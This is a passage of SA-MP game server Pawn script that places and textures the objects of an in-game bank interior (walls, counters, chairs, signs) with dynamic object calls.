        SetDynamicObjectMaterialText(AG_Bank2[280], 0, "BANK",  130, "Ariel", 140, 0, -9591092, 0, 1);

        AG_Bank2[281] = CreateDynamicObject(19443, 1404.47388, 1310.55396, 1502.10974,   90.00000, 0.00000, 90.00000, 26, 63, -1, 200.00);
        AG_Bank2[282] = CreateDynamicObject(19443, 1407.69995, 1310.55200, 1502.10974,   90.00000, 0.00000, 90.00000, 26, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank2[281], 0, 1223, "dynsigns", "white64", 0xFFBCE4FA);
        SetDynamicObjectMaterial( AG_Bank2[282], 0, 1223, "dynsigns", "white64", 0xFFBCE4FA);

        AG_Bank2[283] = CreateDynamicObject(19444, 1409.51624, 1308.96753, 1502.10974,   90.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[284] = CreateDynamicObject(19444, 1402.69995, 1308.96753, 1502.10974,   90.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[285] = CreateDynamicObject(19444, 1404.36157, 1309.91602, 1502.85925,   0.00000, 90.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[286] = CreateDynamicObject(19444, 1407.85596, 1309.91602, 1502.85925,   0.00000, 90.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[287] = CreateDynamicObject(19444, 1407.85596, 1309.91602, 1501.31616,   0.00000, 90.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[288] = CreateDynamicObject(19444, 1404.36157, 1309.91602, 1501.31616,   0.00000, 90.00000, 0.00000, 26, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank2[283], 0, 10226, "sfeship1", "CJ_WOOD5", 0);
        SetDynamicObjectMaterial( AG_Bank2[284], 0, 10226, "sfeship1", "CJ_WOOD5", 0);
        SetDynamicObjectMaterial( AG_Bank2[285], 0, 10226, "sfeship1", "CJ_WOOD5", 0);
        SetDynamicObjectMaterial( AG_Bank2[286], 0, 10226, "sfeship1", "CJ_WOOD5", 0);
        SetDynamicObjectMaterial( AG_Bank2[287], 0, 10226, "sfeship1", "CJ_WOOD5", 0);
        SetDynamicObjectMaterial( AG_Bank2[288], 0, 10226, "sfeship1", "CJ_WOOD5", 0);

        AG_Bank2[292] = CreateDynamicObject(19089, 1412.64795, 1315.85596, 1502.58105,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[293] = CreateDynamicObject(19089, 1412.64795, 1315.83801, 1502.58105,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[294] = CreateDynamicObject(1566, 1412.68774, 1315.84473, 1501.10034,   0.00000, 0.00000, 90.00000, 26, 63, -1, 200.00);
        AG_Bank2[295] = CreateDynamicObject(1566, 1412.68774, 1314.26196, 1501.10034,   0.00000, 0.00000, 90.00000, 26, 63, -1, 200.00);
        AG_Bank2[296] = CreateDynamicObject(2040, 1412.62488, 1315.81836, 1502.68420,   0.00000, 90.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[297] = CreateDynamicObject(1854, 1412.67542, 1315.82080, 1502.66687,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank2[297], 0, 2360, "shopping_acc", "white", 0xFFCC0000);
        SetDynamicObjectMaterial( AG_Bank2[296], 0, 2360, "shopping_acc", "white", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank2[292], 0, 2360, "shopping_acc", "white", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank2[293], 0, 2360, "shopping_acc", "white", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank2[294], 0, 19325, "lsmall_shops", "lsmall_window01", 0);
        SetDynamicObjectMaterial( AG_Bank2[295], 0, 19325, "lsmall_shops", "lsmall_window01", 0);

        CreateDynamicObject(1886, 1409.31372, 1323.80005, 1503.57764,   20.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        CreateDynamicObject(1886, 1407.03870, 1323.80005, 1503.57764,   20.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        CreateDynamicObject(1886, 1402.94373, 1323.80005, 1503.57764,   20.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        CreateDynamicObject(1886, 1400.66870, 1323.80005, 1503.57764,   20.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        CreateDynamicObject(2269, 1406.17676, 1323.37561, 1501.53857,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        CreateDynamicObject(2266, 1399.11719, 1311.73401, 1502.31775,   0.00000, 0.00000, 90.00000, 26, 63, -1, 200.00);
        CreateDynamicObject(2270, 1392.39514, 1319.99866, 1501.76013,   0.00000, 0.00000, 90.00000, 26, 63, -1, 200.00);
        CreateDynamicObject(2265, 1393.06165, 1328.87427, 1501.90894,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        CreateDynamicObject(1965, 1389.72009, 1318.92175, 1497.80042,   180.00000, 0.00000, 90.00000, 26, 63, -1, 200.00);

        AG_Bank3[0] = CreateDynamicObject(19377, 1397.05444, 1320.60864, 1500.00000,   0.00000, 90.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[1] = CreateDynamicObject(19377, 1402.86365, 1310.97815, 1499.99805,   0.00000, 90.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[2] = CreateDynamicObject(19377, 1407.38416, 1320.60071, 1499.99805,   0.00000, 90.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[3] = CreateDynamicObject(19377, 1407.38464, 1310.97876, 1500.00195,   0.00000, 90.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[75] = CreateDynamicObject(19377, 1392.75269, 1330.16150, 1500.00195,   0.00000, 90.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[76] = CreateDynamicObject(14407, 1395.54675, 1314.59460, 1496.87964,   0.00000, 0.00000, 90.00000, 27, 63, -1, 200.00);
        AG_Bank3[77] = CreateDynamicObject(19377, 1392.39172, 1314.38013, 1497.02747,   0.00000, 90.00000, 0.00000, 27, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank3[0], 0, 10938, "skyscrap_sfse", "concpanel_la",  0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank3[1], 0, 10938, "skyscrap_sfse", "concpanel_la",  0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank3[2], 0, 10938, "skyscrap_sfse", "concpanel_la",  0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank3[3], 0, 10938, "skyscrap_sfse", "concpanel_la",  0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank3[75], 0, 10938, "skyscrap_sfse", "concpanel_la",  0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank3[76], 0, 10938, "skyscrap_sfse", "concpanel_la",  0xFF626262);
        SetDynamicObjectMaterial( AG_Bank3[77], 0, 10938, "skyscrap_sfse", "concpanel_la",  0xFF626262);

        AG_Bank3[4] = CreateDynamicObject(2229, 1409.87744, 1320.26294, 1500.07629,   0.00000, 0.00000, 180.00000, 27, 63, -1, 200.00);
        AG_Bank3[5] = CreateDynamicObject(2229, 1410.49170, 1321.15552, 1500.07825,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[6] = CreateDynamicObject(2229, 1410.49133, 1321.59106, 1500.07617,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[7] = CreateDynamicObject(2229, 1407.95337, 1320.26294, 1500.07629,   0.00000, 0.00000, 180.00000, 27, 63, -1, 200.00);
        AG_Bank3[8] = CreateDynamicObject(2229, 1408.56763, 1321.15552, 1500.07825,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[9] = CreateDynamicObject(2229, 1406.02942, 1320.26294, 1500.07629,   0.00000, 0.00000, 180.00000, 27, 63, -1, 200.00);
        AG_Bank3[10] = CreateDynamicObject(2229, 1406.64355, 1321.15552, 1500.07825,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[11] = CreateDynamicObject(2229, 1406.64331, 1321.59106, 1500.07617,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[12] = CreateDynamicObject(2229, 1403.62439, 1320.26294, 1500.07629,   0.00000, 0.00000, 180.00000, 27, 63, -1, 200.00);
        AG_Bank3[13] = CreateDynamicObject(2229, 1404.23865, 1321.15552, 1500.07825,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[14] = CreateDynamicObject(2229, 1404.23547, 1321.61084, 1500.07617,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[15] = CreateDynamicObject(2229, 1401.70044, 1320.26294, 1500.07629,   0.00000, 0.00000, 180.00000, 27, 63, -1, 200.00);
        AG_Bank3[16] = CreateDynamicObject(2229, 1402.31458, 1321.15552, 1500.07825,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[17] = CreateDynamicObject(2229, 1399.77637, 1320.26294, 1500.07629,   0.00000, 0.00000, 180.00000, 27, 63, -1, 200.00);
        AG_Bank3[18] = CreateDynamicObject(2229, 1400.39063, 1321.15552, 1500.07825,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[19] = CreateDynamicObject(2229, 1400.38745, 1321.61084, 1500.07617,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank3[4], 0, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank3[5], 0, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank3[6], 0, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank3[7], 0, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank3[8], 0, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank3[9], 0, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank3[10], 0, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank3[11], 0, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank3[12], 0, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank3[13], 0, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank3[14], 0, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank3[15], 0, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank3[16], 0, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank3[17], 0, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank3[18], 0, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank3[19], 0, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank3[4], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank3[5], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank3[6], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank3[7], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank3[8], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank3[9], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank3[10], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank3[11], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank3[12], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank3[13], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank3[14], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank3[15], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank3[16], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank3[17], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank3[18], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank3[19], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank3[4], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank3[5], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank3[6], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank3[7], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank3[8], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank3[9], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank3[10], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank3[11], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank3[12], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank3[13], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank3[14], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank3[15], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank3[16], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank3[17], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank3[18], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank3[19], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);

        AG_Bank3[20] = CreateDynamicObject(1783, 1409.68652, 1320.72131, 1501.02368,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[21] = CreateDynamicObject(1783, 1409.05054, 1320.72131, 1501.02368,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[22] = CreateDynamicObject(1783, 1408.41455, 1320.72131, 1501.02368,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[23] = CreateDynamicObject(1783, 1407.77856, 1320.72131, 1501.02368,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[24] = CreateDynamicObject(1783, 1407.14258, 1320.72131, 1501.02368,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[25] = CreateDynamicObject(1783, 1406.50659, 1320.72131, 1501.02368,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[26] = CreateDynamicObject(1783, 1403.44995, 1320.72131, 1501.02368,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[27] = CreateDynamicObject(1783, 1402.81396, 1320.72131, 1501.02368,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[28] = CreateDynamicObject(1783, 1402.17798, 1320.72131, 1501.02368,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[29] = CreateDynamicObject(1783, 1401.54199, 1320.72131, 1501.02368,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[30] = CreateDynamicObject(1783, 1400.90601, 1320.72131, 1501.02368,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[31] = CreateDynamicObject(1783, 1400.27002, 1320.72131, 1501.02368,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank3[20], 0, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank3[21], 0, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank3[22], 0, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank3[23], 0, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank3[24], 0, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank3[25], 0, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank3[26], 0, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank3[27], 0, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank3[28], 0, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank3[29], 0, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank3[30], 0, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank3[31], 0, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank3[20], 1, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank3[21], 1, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank3[22], 1, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank3[23], 1, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank3[24], 1, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank3[25], 1, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank3[26], 1, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank3[27], 1, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank3[28], 1, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank3[29], 1, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank3[30], 1, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank3[31], 1, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank3[20], 2, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank3[21], 2, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank3[22], 2, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank3[23], 2, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank3[24], 2, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank3[25], 2, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank3[26], 2, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank3[27], 2, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank3[28], 2, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank3[29], 2, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank3[30], 2, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank3[31], 2, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);

        AG_Bank3[32] = CreateDynamicObject(19371, 1408.41614, 1320.75476, 1499.31506,   0.00000, 0.00000, 90.00000, 27, 63, -1, 200.00);
        AG_Bank3[33] = CreateDynamicObject(19371, 1408.09814, 1320.74878, 1499.31506,   0.00000, 0.00000, 90.00000, 27, 63, -1, 200.00);
        AG_Bank3[34] = CreateDynamicObject(19371, 1402.32776, 1320.79736, 1499.31506,   0.00000, 0.00000, 90.00000, 27, 63, -1, 200.00);
        AG_Bank3[35] = CreateDynamicObject(19371, 1401.69177, 1320.79541, 1499.31506,   0.00000, 0.00000, 90.00000, 27, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank3[32], 0, 1223, "dynsigns", "white64", 0xFFBCE4FA);
        SetDynamicObjectMaterial( AG_Bank3[33], 0, 1223, "dynsigns", "white64", 0xFFBCE4FA);
        SetDynamicObjectMaterial( AG_Bank3[34], 0, 1223, "dynsigns", "white64", 0xFFBCE4FA);
        SetDynamicObjectMaterial( AG_Bank3[35], 0, 1223, "dynsigns", "white64", 0xFFBCE4FA);

        AG_Bank3[36] = CreateDynamicObject(19425, 1408.43188, 1321.10217, 1500.77808,   180.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[37] = CreateDynamicObject(19425, 1408.13196, 1321.10217, 1500.77612,   180.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[38] = CreateDynamicObject(19425, 1408.13196, 1321.23425, 1500.78015,   180.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[39] = CreateDynamicObject(19425, 1408.43188, 1321.23425, 1500.77612,   180.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[40] = CreateDynamicObject(19425, 1402.16382, 1321.07813, 1500.77808,   180.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[41] = CreateDynamicObject(19425, 1401.90002, 1321.07813, 1500.77612,   180.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[42] = CreateDynamicObject(19425, 1402.16382, 1321.23425, 1500.77612,   180.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[43] = CreateDynamicObject(19425, 1401.90002, 1321.23425, 1500.78015,   180.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank3[36], 0, 10226, "sfeship1", "CJ_WOOD5", 0);
        SetDynamicObjectMaterial( AG_Bank3[37], 0, 10226, "sfeship1", "CJ_WOOD5", 0);
        SetDynamicObjectMaterial( AG_Bank3[38], 0, 10226, "sfeship1", "CJ_WOOD5", 0);
        SetDynamicObjectMaterial( AG_Bank3[39], 0, 10226, "sfeship1", "CJ_WOOD5", 0);
        SetDynamicObjectMaterial( AG_Bank3[40], 0, 10226, "sfeship1", "CJ_WOOD5", 0);
        SetDynamicObjectMaterial( AG_Bank3[41], 0, 10226, "sfeship1", "CJ_WOOD5", 0);
        SetDynamicObjectMaterial( AG_Bank3[42], 0, 10226, "sfeship1", "CJ_WOOD5", 0);
        SetDynamicObjectMaterial( AG_Bank3[43], 0, 10226, "sfeship1", "CJ_WOOD5", 0);

        AG_Bank3[44] = CreateDynamicObject(2293, 1409.84692, 1311.45801, 1500.07825,   0.00000, 0.00000, 180.00000, 27, 63, -1, 200.00);
        AG_Bank3[45] = CreateDynamicObject(2293, 1408.89392, 1311.45886, 1500.07825,   0.00000, 0.00000, 180.00000, 27, 63, -1, 200.00);
        AG_Bank3[46] = CreateDynamicObject(2293, 1407.94177, 1311.46570, 1500.07825,   0.00000, 0.00000, 180.00000, 27, 63, -1, 200.00);
        AG_Bank3[47] = CreateDynamicObject(2293, 1407.02795, 1311.45886, 1500.07825,   0.00000, 0.00000, 180.00000, 27, 63, -1, 200.00);
        AG_Bank3[48] = CreateDynamicObject(2293, 1405.16199, 1311.45886, 1500.07825,   0.00000, 0.00000, 180.00000, 27, 63, -1, 200.00);
        AG_Bank3[49] = CreateDynamicObject(2293, 1404.22900, 1311.45886, 1500.07825,   0.00000, 0.00000, 180.00000, 27, 63, -1, 200.00);
        AG_Bank3[50] = CreateDynamicObject(2293, 1403.29602, 1311.45886, 1500.07825,   0.00000, 0.00000, 180.00000, 27, 63, -1, 200.00);
        AG_Bank3[51] = CreateDynamicObject(2293, 1402.36304, 1311.45886, 1500.07825,   0.00000, 0.00000, 180.00000, 27, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank3[44], 0,  10948, "skyscrapper_sfs", "ws_asphalt", 0xFFBCE4FA);
        SetDynamicObjectMaterial( AG_Bank3[45], 0,  10948, "skyscrapper_sfs", "ws_asphalt", 0xFF404040);
        SetDynamicObjectMaterial( AG_Bank3[46], 0,  10948, "skyscrapper_sfs", "ws_asphalt", 0xFFBCE4FA);
        SetDynamicObjectMaterial( AG_Bank3[47], 0,  10948, "skyscrapper_sfs", "ws_asphalt", 0xFFBCE4FA);
        SetDynamicObjectMaterial( AG_Bank3[48], 0, 10948, "skyscrapper_sfs", "ws_asphalt", 0xFFBCE4FA);
        SetDynamicObjectMaterial( AG_Bank3[49], 0, 10948, "skyscrapper_sfs", "ws_asphalt", 0xFFBCE4FA);
        SetDynamicObjectMaterial( AG_Bank3[50], 0, 10948, "skyscrapper_sfs", "ws_asphalt", 0xFF404040);
        SetDynamicObjectMaterial( AG_Bank3[51], 0, 10948, "skyscrapper_sfs", "ws_asphalt", 0xFFBCE4FA);
        SetDynamicObjectMaterial( AG_Bank3[44], 1,  8843, "vegasarrows", "dirtywhite", 0);
        SetDynamicObjectMaterial( AG_Bank3[45], 1,  8843, "vegasarrows", "dirtywhite", 0);
        SetDynamicObjectMaterial( AG_Bank3[46], 1,  8843, "vegasarrows", "dirtywhite", 0);
        SetDynamicObjectMaterial( AG_Bank3[47], 1,  8843, "vegasarrows", "dirtywhite", 0);
        SetDynamicObjectMaterial( AG_Bank3[48], 1,  8843, "vegasarrows", "dirtywhite", 0);
        SetDynamicObjectMaterial( AG_Bank3[49], 1,  8843, "vegasarrows", "dirtywhite", 0);
        SetDynamicObjectMaterial( AG_Bank3[50], 1,  8843, "vegasarrows", "dirtywhite", 0);
        SetDynamicObjectMaterial( AG_Bank3[51], 1,  8843, "vegasarrows", "dirtywhite", 0);

        AG_Bank3[52] = CreateDynamicObject(19448, 1407.80005, 1323.94739, 1501.79858,   0.00000, 0.00000, 90.00000, 27, 63, -1, 200.00);
        AG_Bank3[53] = CreateDynamicObject(19448, 1402.52002, 1323.95020, 1501.79858,   0.00000, 0.00000, 90.00000, 27, 63, -1, 200.00);
        AG_Bank3[54] = CreateDynamicObject(19448, 1397.64343, 1328.59155, 1501.79858,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[55] = CreateDynamicObject(19448, 1398.53809, 1308.12610, 1501.79858,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[56] = CreateDynamicObject(19448, 1403.24109, 1310.53662, 1501.79858,   0.00000, 0.00000, 90.00000, 27, 63, -1, 200.00);
        AG_Bank3[57] = CreateDynamicObject(19448, 1407.80005, 1310.53748, 1501.79858,   0.00000, 0.00000, 90.00000, 27, 63, -1, 200.00);
        AG_Bank3[58] = CreateDynamicObject(19448, 1393.80994, 1312.85864, 1501.79858,   0.00000, 0.00000, 90.00000, 27, 63, -1, 200.00);
        AG_Bank3[78] = CreateDynamicObject(19448, 1393.80994, 1312.85864, 1498.30054,   0.00000, 0.00000, 90.00000, 27, 63, -1, 200.00);
        AG_Bank3[79] = CreateDynamicObject(19448, 1388.89221, 1316.27661, 1498.30054,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);//
        AG_Bank3[80] = CreateDynamicObject(19448, 1391.91467, 1320.62366, 1498.30054,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);//
        AG_Bank3[81] = CreateDynamicObject(19448, 1396.64331, 1315.87585, 1498.30054,   0.00000, 0.00000, 90.00000, 27, 63, -1, 200.00);
        AG_Bank3[82] = CreateDynamicObject(19448, 1390.51587, 1319.00146, 1498.30054,   0.00000, 0.00000, 90.00000, 27, 63, -1, 200.00);
        AG_Bank3[83] = CreateDynamicObject(19448, 1393.65063, 1329.45300, 1501.79858,   0.00000, 0.00000, 90.00000, 27, 63, -1, 200.00);
        AG_Bank3[84] = CreateDynamicObject(19448, 1391.81213, 1325.20935, 1501.79858,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);//
